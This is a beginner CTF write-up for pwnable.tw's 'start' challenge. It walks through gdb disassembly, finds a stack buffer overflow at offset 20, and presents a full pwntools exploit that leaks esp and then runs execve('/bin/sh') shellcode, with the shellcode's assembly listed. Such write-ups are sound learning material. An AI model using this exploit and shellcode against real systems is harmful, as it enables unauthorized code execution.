###### tags: `pwnable.tw` `tutorials` `CTF` `hacking` `beginner` `flag` `binary exploitation` `pwn` # Start from Pwnable.tw #### Points: 100 This is the writeup for the challenge start from pwnable.tw. This is the very first challenge on the website and a simple one for that matter. There is a simple buffer overflow on the binary but no jmp to esp gadget, so we need to create a rop chain to find the address of esp and then jmp to it in order to make the binary execute our shellcode. That being said let's get started. ## Analyzing the binary We can download the binary from the site and throw it in gdb to get a closer look. ```perl gdb ./start gef➤ info fun All defined functions: Non-debugging symbols: 0x08048060 _start 0x0804809d _exit 0x080490a3 __bss_start 0x080490a3 _edata 0x080490a4 _end gef➤ checksec [+] checksec for '/home/duckie/Documents/pwnable.tw/start/start' Canary : ✘ NX : ✘ PIE : ✘ Fortify : ✘ RelRO : ✘ ``` The binary is small and has no main in it, I'd say it's handcrafted for this challenge. Thus reversing it should be pretty easy. Let's start with the **\_start** function. ```perl gef➤ disas _start Dump of assembler code for function _start: 0x08048060 <+0>: push esp 0x08048061 <+1>: push 0x804809d 0x08048066 <+6>: xor eax,eax 0x08048068 <+8>: xor ebx,ebx 0x0804806a <+10>: xor ecx,ecx 0x0804806c <+12>: xor edx,edx 0x0804806e <+14>: push 0x3a465443 0x08048073 <+19>: push 0x20656874 0x08048078 <+24>: push 0x20747261 0x0804807d <+29>: push 0x74732073 0x08048082 <+34>: push 0x2774654c 0x08048087 <+39>: mov ecx,esp 0x08048089 <+41>: mov dl,0x14 0x0804808b <+43>: mov bl,0x1 0x0804808d <+45>: mov al,0x4 0x0804808f <+47>: int 0x80 0x08048091 <+49>: xor ebx,ebx 0x08048093 <+51>: mov dl,0x3c 0x08048095 <+53>: mov al,0x3 0x08048097 <+55>: int 0x80 0x08048099 <+57>: add esp,0x14 0x0804809c <+60>: ret End of assembler dump. ``` Looking at the asm we can see there are a total 2 syscalls (i.e int 0x80) in one the al (i.e low 8 bits of eax) is 0x4 (i.e write) and other one the it is 0x3 (read). Let's start understanding the asm instruction by instruction. 1. First we push esp on the stack 2. We push an address 0x804809d (address of _exit function) 3. Zero out registers eax,ebx,ecx,edx. 4. Push the string "Let's start the CTF:" in endian format on the stack. 5. mov the address of esp to ecx and other things req for the write syscall. 6. finally the syscall 7. setting up things req for read syscall 8. then the read syscall with edx value of 0x3c (i.e 60). It seems like we have a buffer overflow vuln here. Lets try out by giving a really long string to find the offset. ```perl gef➤ pattern create 100 [+] Generating a pattern of 100 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa [+] Saved as '$_gef0' gef➤ r Starting program: /home/duckie/Documents/pwnable.tw/start/start Let's start the CTF:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Program received signal SIGSEGV, Segmentation fault. 0x61616166 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] $eax : 0x3c $ebx : 0x0 $ecx : 0xffffd154 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $edx : 0x3c $esp : 0xffffd16c → 0x61616167 ("gaaa"?) $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x61616166 ("faaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0000 0xffffd16c│+0x0000: 0x61616167 ← $esp 0xffffd170│+0x0004: 0x61616168 0xffffd174│+0x0008: 0x61616169 0xffffd178│+0x000c: 0x6161616a 0xffffd17c│+0x0010: 0x6161616b 0xffffd180│+0x0014: 0x6161616c 0xffffd184│+0x0018: 0x6161616d 0xffffd188│+0x001c: 0x6161616e [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x61616166 [#0] Id 1, Name: "start", stopped 0x61616166 in ?? (), reason: SIGSEGV gef➤ paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Undefined command: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa". Try "help". gef➤ pattern search faaa [+] Searching 'faaa' [+] Found at offset 17 (little-endian search) likely [+] Found at offset 20 (big-endian search) ``` We find the offset at 20. Now all we need to do is find a gadget for jmp to esp. Since there is no such instruction on the binary, we will need to create a rop chain to leak the address of esp and then manually jmp to esp. Examining the binary carefully we see that there is an **push esp** at the top of the binary and an **add esp,0x14** at the near end of **\_start**. Cool. So the attack will be to leak the esp on the first run then go back and give the payload with shellcode and gain shell. There is no nx so shellcode should work. UwU . keeping that in mind the. We know that the first thing pushed on stack was esp. So after we have given our input (our given input will overwrite the stack in place of string "Let's start the CTF:") and popping of 20 bytes of data (with add esp,0x14) and the exit address in **_exit**, we will have only esp on the stack. Thus if we will overwrite eip with a call to write syscall (present in binary) we can leak the address of **esp**. After the write syscall the program continues the flow and asks for our input again. The stack will look like this when we will give our second input. ```perl |----------------| | esp | |----------------| | | | Our input | | | esp => |----------------| | eip overwrite | |----------------| | shell code | |----------------| ``` Stack grows from high to low. esp points at the top of the stack. Now when we add 0x14 (i.e 20) to our esp, the esp will point to starting of shellcode. So we will over eip with esp+20 so the eip goes to shellcode directly and we will have a shell. Thus the exploit will look like this:- ```python from pwn import * padding = b'i'*20 payload = padding + p32(0x08048087) p = remote('chall.pwnable.tw',10000) print(p.recvuntil(':')) p.send(payload) tmp = p.recv() esp = u32(tmp[:4]) log.success("found esp") log.info(hex(esp)) shellcode = b"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x31\xd2\x89\xe3\xb0\x0b\xcd\x80\x30\xc0\xfe\xc0\xcd\x80" payload2 = b'i'*20 + p32(esp+20) + shellcode p.send(payload2) p.interactive() ``` ```asm global _start _start: push 6845231 push 1852400175 xor edx,edx xor ecx,ecx xor edx,edx mov ebx,esp mov al,0xb int 0x80 xor al,al inc al int 0x80 ```